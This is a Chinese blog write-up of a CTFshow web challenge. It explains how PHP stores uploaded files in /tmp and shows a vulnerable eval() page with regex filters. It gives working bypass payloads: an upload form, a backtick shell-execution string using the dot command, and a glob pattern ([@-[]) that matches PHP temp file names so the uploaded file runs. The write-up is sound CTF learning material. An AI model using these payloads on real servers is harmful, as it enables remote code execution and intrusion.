CTFSHOW 红包题第二弹 web

26 篇文章 0 订阅

利用临时文件的命令执行

临时文件的命名规则

在上传存储到临时目录后,临时文件命名的规则如下:
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。

PHP上传机制

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

在这里插入图片描述

<?php
#error_reporting(0);
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

</body>
</html>

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

可以用p字母,有蹊跷。。。。
然后用的方法就是执行临时文件。

<!DOCTYPE html>
<html>
<body>
<form action="http://356c8675-3004-4ae6-8ea1-0d372a6f683b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

将这个写入题目html,然后抓包
在这里插入图片描述
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。

?cmd=?><?=`.%20/??p/p?p??????`;

后面是搬的p神的一些东西
在这里插入图片描述
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:
在这里插入图片描述
那么,我们可以利用[@-[]来表示大写字母:
在这里插入图片描述
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

index.php?code=?><?=`. /???/????????[@-[]`;?>

在这里插入图片描述

题总结
题上生成的临时文件名格式是php[A-Za-z]{6}
然后每次请求,临时文件都会变(之前上传的文件就被删除)
在这里插入图片描述

在这里插入图片描述

然后这个题用不了p神的那个payload,被过滤一些字符。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值